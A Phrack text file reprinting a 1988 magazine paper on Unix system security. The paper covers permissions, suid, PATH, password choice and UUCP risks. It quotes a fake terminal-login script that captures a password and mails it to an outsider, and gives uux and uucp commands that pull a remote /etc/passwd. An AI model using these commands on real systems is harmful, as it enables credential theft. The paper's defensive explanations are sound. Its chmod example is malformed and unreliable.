home *** CD-ROM | disk | FTP | other *** search
/ Hacker Chronicles 1 / HACKER1.ISO / phrk2 / phrack18.7 < prev    next >
Text File  |  1992-09-26  |  27KB  |  510 lines

  1.  
  2.                               ==Phrack Inc.==
  3.  
  4.                     Volume Two, Issue 18, Phile #7 of 11
  5.  
  6.  
  7.                   +--------------------------------------+
  8.                   |     "Unix System Security Issues"    |
  9.                   |              Typed by:               |
  10.                   |               Whisky                 |
  11.                   |         (from Holland, Europe)       |
  12.                   +--------------------------------------+
  13.                   |                 From                 |
  14.                   |            Information Age           |
  15.                   |     Vol. 11, Number 2, April 1988    |
  16.                   |              Written By:             |
  17.                   | Michael J. Knox and Edward D. Bowden |
  18.                   +--------------------------------------+
  19.  
  20. Note:  This file was sent to me from a friend in Holland. I felt
  21.        that it would be a good idea to present this file to the
  22.        UNIX-hacker community, to show that hackers don't always
  23.        harm systems, but sometimes look for ways to secure flaws
  24.        in existing systems.  -- Jester Sluggo !!
  25.  
  26. There are a number of elements that have lead to the popularity of the
  27. Unix operating system in the world today. The most notable factors are
  28. its portability among hardware platforms and the interactive programming
  29. environment that it offers to users. In fact, these elements have had
  30. much to do with the succesful evolution of the Unix system in the
  31. commercial market place. (1, 2)
  32.   As the Unix system expands further into industry and government, the
  33. need to handle Unix system security will no doubt become imperative. For
  34. example, the US government is committing several millon dollars a year
  35. for the Unix system and its supported hardware. (1) The security
  36. requirements for the government are tremendous, and one can only guess
  37. at the future needs of security in industry.
  38.   In this paper, we will cover some of the more fundamental security
  39. risks in the Unix system. Discussed are common causes of Unix system
  40. compromise in such areas as file protecion, password security,
  41. networking and hacker violations. In our conclusion, we will comment
  42. upon ongoing effects in Unix system security, and their direct influence
  43. on the portability of the Unix operating system.
  44.  
  45. FILE AND DIRECTORY SECURITY
  46.  
  47. In the Unix operating system environment, files and directories are
  48. organized in a tree structure with specific access modes. The setting of
  49. these modes, through permission bits (as octal digits), is the basis of
  50. Unix system security. Permission bits determine how users can access
  51. files and the type of access they are allowed. There are three user
  52. access modes for all Unix system files and directories: the owner, the
  53. group, and others. Access to read, write and execute within each of the
  54. usertypes is also controlled by permission bits (Figure 1). Flexibility
  55. in file security is convenient, but it has been criticized as an area of
  56. system security compromise.
  57.  
  58.  
  59.                         Permission modes
  60. OWNER                        GROUP                    OTHERS
  61. ------------------------------------------------------------
  62. rwx            :             rwx            :         rwx
  63. ------------------------------------------------------------
  64. r=read  w=write  x=execute
  65.  
  66. -rw--w-r-x 1 bob csc532 70 Apr 23 20:10 file
  67. drwx------ 2 sam A1 2 May 01 12:01 directory
  68.  
  69. FIGURE 1.  File and directory modes: File shows Bob as the owner, with
  70. read and write permission. Group has write permission, while Others has
  71. read and execute permission. The directory gives a secure directory not
  72. readable, writeable, or executable by Group and Others.
  73.  
  74.  
  75.   Since the file protection mechanism is so important in the Unix
  76. operating system, it stands to reason that the proper setting of
  77. permission bits is required for overall security. Aside from user
  78. ignorance, the most common area of file compromise has to do with the
  79. default setting of permission bits at file creation. In some systems the
  80. default is octal 644, meaning that only the file owner can write and
  81. read to a file, while all others can only read it. (3) In many "open"
  82. environments this may be acceptable. However, in cases where sensitive
  83. data is present, the access for reading by others should be turned off.
  84. The file utility umask does in fact satisfy this requirement. A
  85. suggested setting, umask 027, would enable all permission for the file
  86. owner, disable write permission to the group, and disable permissions
  87. for all others (octal 750). By inserting this umask command in a user
  88. .profile or .login file, the default will be overritten by the new
  89. settings at file creation.
  90.   The CHMOD utility can be used to modify permission settings on files
  91. and directories. Issuing the following command,
  92.  
  93. chmod u+rwd,g+rw,g-w,u-rwx file
  94.  
  95. will provide the file with the same protection as the umask above
  96. (octal 750). Permission bits can be relaxed with chmod at a later
  97. time, but at least initially, the file structure can be made secure
  98. using a restrictive umask.
  99.   By responsible application of such utilities as umask and chmod, users
  100. can enhance file system security. The Unix system, however, restricts
  101. the security defined by the user to only owner, group and others. Thus,
  102. the owner of the file cannot designate file access to specific users. As
  103. Kowack and Healy have pointed out, "The granularity of control that
  104. (file security) mechanisms is often insufficient in practice (...) it is
  105. not possible to grant one user write protection to a directory while
  106. granting another read permission to the same directory. (4) A useful
  107. file security file security extension to the Unix system might be
  108. Multics style access control lists.
  109.   With access mode vulnerabilities in mind, users should pay close
  110. attention to files and directories under their control, and correct
  111. permissions whenever possible. Even with the design limitations in mode
  112. granularity, following a safe approach will ensure a more secure Unix
  113. system file structure.
  114.  
  115. SUID and SGID
  116.  
  117. The set user id (suid) and set group id (sgid) identify the user and
  118. group ownership of a file. By setting the suid or sgid permission bits
  119. of an executable file, other users can gain acces to the same resources
  120. (via the executable file) as that of the real file's owner.
  121.  
  122. For Example:
  123.  
  124. Let Bob's program bob.x be an executable file accessible to others. When
  125. Mary executes bob.x, Mary becomes the new program owner. If during
  126. program execution bob.x requests access to file browse.txt, then Mary
  127. must have previous read or write permission to browse.txt. This would
  128. allow Mary and everyone else total access to the contents of browse.txt,
  129. even when she is not running bob.x. By turning on the suid bit of bob.x,
  130. Mary will have the same access permissions to browse.txt as does the
  131. program's real owner, but she will only have access to browse.txt during
  132. the execution of bob.x. Hence, by incorperating suid or sgid, unwelcome
  133. browsers will be prevented form accessing files like browse.txt
  134.  
  135.   Although this feature appears to offer substantial access control to
  136. Unix system files, it does have one critical drawback. There is always
  137. the chance that the superuser (system administrator) may have a writable
  138. file for others that is also set with suid. With some modification in
  139. the file's code (by a hacker), an executable file like this would enable
  140. a user to become a superuser. Within a short period of time this
  141. violator could completely compromise system security and make it
  142. inaccessible, even to other superusers. As Farrow (5) puts it, "(...)
  143. having a set-user-id copy of the shell owned by root is better than
  144. knowing the root password".
  145.   To compensate for this security threat, writable suid files should be
  146. sought out and eliminated by the system administrator. Reporting of such
  147. files by normal users is also essential in correcting existing security
  148. breaches.
  149.  
  150. DIRECTORIES
  151.  
  152. Directory protection is commonly overlooked component of file security
  153. in the Unix system. Many system administrators and users are unaware of
  154. the fact, that "publicly writable directories provide the most
  155. opportunities for compromising the Unix system security" (6).
  156. Administrators tend to make these "open" for users to move around and
  157. access public files and utilities. This can be disastrous, since files
  158. and other subdirectories within writable directories can be moved out
  159. and replaced with different versions, even if contained files are
  160. unreadable or unwritable to others. When this happens, an unscrupulous
  161. user or a "password breaker" may supplant a Trojan horse of a commonly
  162. used system utility (e.g. ls, su, mail and so on). For example, imagine
  163.  
  164. For example:
  165.  
  166. Imagine that the /bin directory is publicly writable. The perpetrator
  167. could first remove the old su version (with rm utility) and then
  168. include his own fake su to read the password of users who execute
  169. this utility.
  170.  
  171.   Although writable directories can destroy system integrity, readable
  172. ones can be just as damaging. Sometimes files and directories are
  173. configured to permit read access by other. This subtle convenience can
  174. lead to unauthorized disclosure of sensitive data: a serious matter when
  175. valuable information is lost to a business competitor.
  176.   As a general rule, therefore, read and write access should be removed
  177. from all but system administrative directories. Execute permission will
  178. allow access to needed files; however, users might explicitly name the
  179. file they wish to use. This adds some protection to unreadable and
  180. unwritable directories. So, programs like lp file.x in an unreadable
  181. directory /ddr will print the contents of file.x, while ls/ddr would not
  182. list the contents of that directory.
  183.  
  184. PATH VARIABLE
  185.  
  186. PATH is an environment variable that points to a list of directories,
  187. which are searched when a file is requested by a process. The order of
  188. that search is indicated by the sequence of the listed directories in
  189. the PATH name. This variable is established at user logon and is set up
  190. in the users .profile of .login file.
  191.   If a user places the current directory as the first entry in PATH,
  192. then programs in the current directory will be run first. Programs in
  193. other directories with the same name will be ignored. Although file and
  194. directory access is made easier with a PATH variable set up this way, it
  195. may expose the user to pre-existing Trojan horses.
  196.   To illustrate this, assume that a trojan horse, similar to the cat
  197. utility, contains an instruction that imparts access privileges to a
  198. perpetrator. The fake cat is placed in a public directory /usr/his
  199. where a user often works. Now if the user has a PATH variable with the
  200. current directory first, and he enters the cat command while in
  201. /usr/his, the fake cat in /usr/his would be executed but not the system
  202. cat located in /bin.
  203.   In order to prevent this kind of system violation, the PATH variable
  204. must be correctly set. First, if at all possible, exclude the current
  205. directory as the first entry in the PATH variable and type the full path
  206. name when invoking Unix system commands. This enhances file security,
  207. but is more cumbersome to work with. Second, if the working directory
  208. must be included in the PATH variable, then it should always be listed
  209. last. In this way, utilities like vi, cat, su and ls will be executed
  210. first from systems directories like /bin and /usr/bin before searching
  211. the user's working directory.
  212.  
  213. PASSWORD SECURITY
  214.  
  215. User authentication in the Unix system is accomplished by personal
  216. passwords. Though passwords offer an additional level of security
  217. beyond physical constraints, they lend themselves to the greatest area
  218. of computer system compromise. Lack of user awareness and responsibility
  219. contributes largely to this form of computer insecurity. This is true of
  220. many computer facilities where password identification, authentication
  221. and authorization are required for the access of resources - and the
  222. Unix operating system is no exception.
  223.   Password information in many time-sharing systems are kept in
  224. restricted files that are not ordinarily readable by users. The Unix
  225. system differs in this respect, since it allows all users to have read
  226. access to the /etc/passwd file (FIGURE 2) where encrypted passwords and
  227. other user information are stored. Although the Unix system implements a
  228. one-way encryption method, and in most systems a modified version of the
  229. data encryption standard (DES), password breaking methods are known.
  230. Among these methods, brute-force attacks are generally the least
  231. effective, yet techniques involving the use of heuristics (good guesses
  232. and knowledge about passwords) tend to be successful. For example, the
  233. /etc/passwd file contains such useful information as the login name and
  234. comments fields. Login names are especially rewarding to the "password
  235. breaker" since many users will use login variants for passwords
  236. (backward spelling, the appending of a single digit etc.). The comment
  237. field often contains items such as surname, given name, address,
  238. telephone number, project name and so on. To quote Morris and Grampp (7)
  239. in their landmark paper on Unix system security:
  240.  
  241.   [in the case of logins]
  242.  
  243.   The authors made a survey of several dozen local machines, using as
  244.   trial passwords a collection of the 20 most common female first names,
  245.   each followed by a single digit. The total number of passwords tried was,
  246.   therefore, 200. At least one of these 200 passwords turned out to be a
  247.   valid password on every machine surveyed.
  248.  
  249.   [as for comment fields]
  250.  
  251.   (...) if an intruder knows something about the people using a machine,
  252.   a whole new set of candidates is available. Family and friend's names,
  253.   auto registration numbers, hobbies, and pets are particularly
  254.   productive categories to try interactively in the unlikely event that
  255.   a purely mechanical scan of the password file turns out to be
  256.   disappointing.
  257.  
  258. Thus, given a persistent system violator, there is a strong evidence,
  259. that he will find some information about users in the /etc/passwd file.
  260. With this in mind, it is obvious that a password file should be
  261. unreadable to everyone except those in charge of system administration.
  262.  
  263.  
  264. root:aN2z06ISmxKqQ:0:10:(Boss1),656-35-0989:/:/bin
  265. mike:9okduHy7sdLK8:09:122:No.992-3943:/usr:/bin
  266.  
  267. FIGURE 2.  The /etc/passwd file. Note the comments field as underlined
  268. terms.
  269.  
  270.  
  271.   Resolution of the /etc/passwd file's readability does not entirely
  272. solve the basic problem with passwords. Educating users and
  273. administrators is necessary to assure proper password utilization.
  274. First, "good passwords are those that are at least six characters long,
  275. aren't based on personal information, and have some nonalphabetic
  276. (especially control) characters in them: 4score, my_name, luv2run" (8).
  277. Secondly, passwords should be changed periodically but users should avoid
  278. alternating between two passwords. Different passwords for different
  279. machines and files will aid in protecting sensitive information.
  280. Finally, passwords should never be available to unauthorized users.
  281. Reduction of user ignorance about poor password choice will inevitably
  282. make a system more secure.
  283.  
  284. NETWORK SECURITY
  285.  
  286. UUCP system
  287. The most common Unix system network is the UUCP system, which is a group
  288. of programs that perform the file tranfers and command execution between
  289. remote systems. (3) The problem with the UUCP system is that users on
  290. the network may access other users' files without access permission. As
  291. stated by Nowitz (9),
  292.  
  293.   The uucp system, left unrestricted, will let any outside user execute
  294.   commands and copy in/out any file that is readable/writable by a uucp
  295.   login user. It is up to the individual sites to be aware of this, and
  296.   apply the protections that they feel free are necessary.
  297.  
  298. This emphasizes the importance of proper implementation by the system
  299. administrator.
  300.   There are four UUCP system commands to consider when looking into
  301. network security with the Unix system. The first is uucp, a command used
  302. to copy files between two Unix systems. If uucp is not properly
  303. implemented by the system administrator, any outside user can execute
  304. remote commands and copy files from another login user. If the file name
  305. on another system is known, one could use the uucp command to copy files
  306. from that system to their system. For example:
  307.  
  308.   %uucp system2!/main/src/hisfile myfile
  309.  
  310. will copy hisfile from system2 in the directory /main/src to the file
  311. myfile in the current local directory. If file transfer restrictions
  312. exist on either system, hisfile would not be sent. If there are no
  313. restrictions, any file could be copied from a remote user - including
  314. the password file. The following would copy the remote system
  315. /etc/passwd file to the local file thanks:
  316.  
  317.   %uucp system2!/etc/passwd thanks
  318.  
  319. System administrators can address the uucp matter by restricting uucp
  320. file transfers to the directory /user/spool/uucppublic. (8) If one tries
  321. to transfer a file anywhere else, a message will be returned saying
  322. "remote access to path/file denied" and no file transfer will occur.
  323.   The second UUCP system command to consider is the uux. Its function is
  324. to execute commands on remote Unix computers. This is called remote
  325. command execution and is most often used to send mail between systems
  326. (mail executes the uux command internally).
  327.   The ability to execute a command on another system introduces a
  328. serious security problem if remote command execution is not limited. As
  329. an example, a system should not allow users from another system to
  330. perform the following:
  331.  
  332.   %uux "system1!cat</etc/passwd>/usr/spool/uucppublic"
  333.  
  334. which would cause system1 to send its /etc/passwd file to the system2
  335. uucp public directory. The user of system2 would now have access to the
  336. password file. Therefore, only a few commands should be allowed to
  337. execute remotely. Often the only command allowed to run uux is rmail,
  338. the restricted mail program.
  339.   The third UUCP system function is the uucico (copy in / copy out)
  340. program. It performs the true communication work. Uucp or uux does not
  341. actually call up other systems; instead they are queued and the uucico
  342. program initiates the remote processes. The uucico program uses the file
  343. /usr/uucp/USERFILE to determine what files a remote system may send or
  344. receive. Checks for legal files are the basis for security in USERFILE.
  345. Thus the system administrator should carefully control this file.
  346.   In addition, USERFILE controls security between two Unix systems by
  347. allowing a call-back flag to be set. Therefore, some degree of security
  348. can be achieved by requiring a system to check if the remote system is
  349. legal before a call-back occurs.
  350.   The last UUCP function is the uuxqt. It controls the remote command
  351. execution. The uuxqt program uses the file /usr/lib/uucp/L.cmd to
  352. determine which commands will run in response to a remote execution
  353. request. For example, if one wishes to use the electronic mail feature,
  354. then the L.cmd file will contain the line rmail. Since uuxqt determines
  355. what commands will be allowed to execute remotely, commands which may
  356. compromise system security should not be included in L.cmd.
  357.  
  358. CALL THE UNIX SYSTEM
  359.  
  360. In addition to UUCP network commands, one should also be cautious of the
  361. cu command (call the Unix system). Cu permits a remote user to call
  362. another computer system. The problem with cu is that a user on a system
  363. with a weak security can use cu to connect to a more secure system and
  364. then install a Trojan horse on the stronger system. It is apparent that
  365. cu should not be used to go from a weaker system to a stronger one, and
  366. it is up to the system administrator to ensure that this never occurs.
  367.  
  368. LOCAL AREA NETWORKS
  369.  
  370. With the increased number of computers operating under the Unix system,
  371. some consideration must be given to local area networks (LANs). Because
  372. LANs are designed to transmit files between computers quickly, security
  373. has not been a priority with many LANs, but there are secure LANs under
  374. development. It is the job of the system manager to investigate security
  375. risks when employing LANs.
  376.  
  377. OTHER AREAS OF COMPROMISE
  378.  
  379. There are numerous methods used by hackers to gain entry into computer
  380. systems. In the Unix system, Trojan horses, spoofs and suids are the
  381. primary weapons used by trespassers.
  382.   Trojan horses are pieces of code or shell scripts which usually assume
  383. the role of a common utility but when activated by an unsuspecting user
  384. performs some unexpected task for the trespasser. Among the many
  385. different Trojan horses, it is the su masquerade that is the most
  386. dangerous to the Unix system.
  387.   Recall that the /etc/passwd file is readable to others, and also
  388. contains information about all users - even root users. Consider what a
  389. hacker could do if he were able to read this file and locate a root user
  390. with a writable directory. He might easily plant a fake su that would
  391. send the root password back to the hacker. A Trojan horse similar to
  392. this can often be avoided when various security measures are followed,
  393. that is, an etc/passwd file with limited read acces, controlling writable
  394. directories, and the PATH variable properly set.
  395.   A spoof is basically a hoax that causes an unsuspecting victim to
  396. believe that a masquerading computer funtion is actually a real system
  397. operation. A very popular spool in many computer systems is the
  398. terminal-login trap. By displaying a phoney login format, a hacker is
  399. able to capture the user's password.
  400.   Imagine that a root user has temporarily deserted his terminal. A
  401. hacker could quickly install a login process like the one described by
  402. Morris and Grampp (7):
  403.  
  404.   echo -n "login:"
  405.   read X
  406.   stty -echo
  407.   echo -n "password:"
  408.   read Y
  409.   echo ""
  410.   stty echo
  411.   echo %X%Y|mail outside|hacker&
  412.   sleep 1
  413.   echo Login incorrect
  414.   stty 0>/dev/tty
  415.  
  416. We see that the password of the root user is mailed to the hacker who
  417. has completely compromised the Unix system. The fake terminal-login acts
  418. as if the user has incorrectly entered the password. It then transfers
  419. control over to the stty process, thereby leaving no trace of its
  420. existence.
  421.   Prevention of spoofs, like most security hazards, must begin with user
  422. education. But an immediate solution to security is sometimes needed
  423. before education can be effected. As for terminal-login spoofs, there
  424. are some keyboard-locking programs that protect the login session while
  425. users are away from their terminals. (8, 10) These locked programs
  426. ignore keyboard-generated interrupts and wait for the user to enter a
  427. password to resume the terminal session.
  428.   Since the suid mode has been previously examined in the password
  429. section, we merely indicate some suid solutions here. First, suid
  430. programs should be used is there are no other alternatives. Unrestrained
  431. suids or sgids can lead to system compromise. Second, a "restricted
  432. shell" should be given to a process that escapes from a suid process to
  433. a child process. The reason for this is that a nonprivileged child
  434. process might inherit privileged files from its parents. Finally, suid
  435. files should be writable only by their owners, otherwise others may have
  436. access to overwrite the file contents.
  437.   It can be seen that by applying some basic security principles, a user
  438. can avoid Trojan horses, spoofs and inappropriate suids. There are
  439. several other techniques used by hackers to compromise system security,
  440. but the use of good judgement and user education may go far in
  441. preventing their occurence.
  442.  
  443. CONCLUSION
  444.  
  445. Throughout this paper we have discussed conventional approaches to Unix
  446. system security by way of practical file management, password
  447. protection, and networking. While it can be argued that user eduction is
  448. paramount in maintaining Unix system security (11) factors in human
  449. error will promote some degree of system insecurity. Advances in
  450. protection mechanisms through better-written software (12), centralized
  451. password control (13) and identification devices may result in enhanced
  452. Unix system security.
  453.   The question now asked applies to the future of Unix system operating.
  454. Can existing Unix systems accommodate the security requirements of
  455. government and industry? It appears not, at least for governmental
  456. security projects. By following the Orange Book (14), a government
  457. graded classification of secure computer systems, the Unix system is
  458. only as secure as the C1 criterion. A C1 system, which has a low
  459. security rating (D being the lowest) provides only discretionary
  460. security protection (DSP) against browsers or non-programmer users.
  461. Clearly this is insufficient as far as defense or proprietary security
  462. is concerned. What is needed are fundamental changes to the Unix
  463. security system. This has been recognized by at least three companies,
  464. AT&T, Gould and Honeywell (15, 16, 17). Gould, in particular, has made
  465. vital changes to the kernel and file system in order to produce a C2
  466. rated Unix operating system. To achieve this, however, they have had to
  467. sacrifice some of the portability of the Unix system. It is hoped that
  468. in the near future a Unix system with an A1 classification will be
  469. realized, though not at the expense of losing its valued portability.
  470.  
  471.  
  472. REFERENCES
  473.  
  474.  
  475. 1  Grossman, G R "How secure is 'secure'?" Unix Review Vol 4 no 8 (1986)
  476.    pp 50-63
  477. 2  Waite, M et al. "Unix system V primer" USA (1984)
  478. 3  Filipski, A and Hanko, J "Making Unix secure" Byte (April 1986) pp 113-128
  479. 4  Kowack, G and Healy, D "Can the holes be plugged?" Computerworld
  480.    Vol 18 (26 September 1984) pp 27-28
  481. 5  Farrow, R "Security issues and strategies for users" Unix/World
  482.    (April 1986) pp 65-71
  483. 6  Farrow, R "Security for superusers, or how to break the Unix system"
  484.    Unix/World (May 1986) pp 65-70
  485. 7  Grampp, F T and Morris, R H "Unix operating system security" AT&T Bell
  486.    Lab Tech. J. Vol 63 No 8 (1984) pp 1649-1672
  487. 8  Wood, P H and Kochan, S G "Unix system security" USA (1985)
  488. 9  Nowitz, D A "UUCP Implementation description: Unix programmer's manual
  489.    Sec. 2" AT&T Bell Laboratories, USA (1984)
  490. 10 Thomas, R "Securing your terminal: two approaches" Unix/World
  491.    (April 1986) pp 73-76
  492. 11 Karpinski, D "Security round table (Part 1)" Unix Review
  493.    (October 1984) p 48
  494. 12 Karpinski, D "Security round table (Part 2)" Unix Review
  495.    (October 1984) p 48
  496. 13 Lobel, J "Foiling the system breakers: computer security and access
  497.    control" McGraw-Hill, USA (1986)
  498. 14 National Computer Security Center "Department of Defense trusted
  499.    computer system evaluation criteria" CSC-STD-001-83, USA (1983)
  500. 15 Stewart, F "Implementing security under Unix" Systems&Software
  501.    (February 1986)
  502. 16 Schaffer, M and Walsh, G "Lock/ix: An implementation of Unix for the
  503.    Lock TCB" Proceedings of USENIX (1988)
  504. 17 Chuck, F "AT&T System 5/MLS Product 14 Strategy" AT&T Bell Labs,
  505.    Government System Division, USA (August 1987)
  506. ===============================================================================
  507.  
  508.  
  509. Downloaded From P-80 International Information Systems 304-744-2253 12yrs+
  510.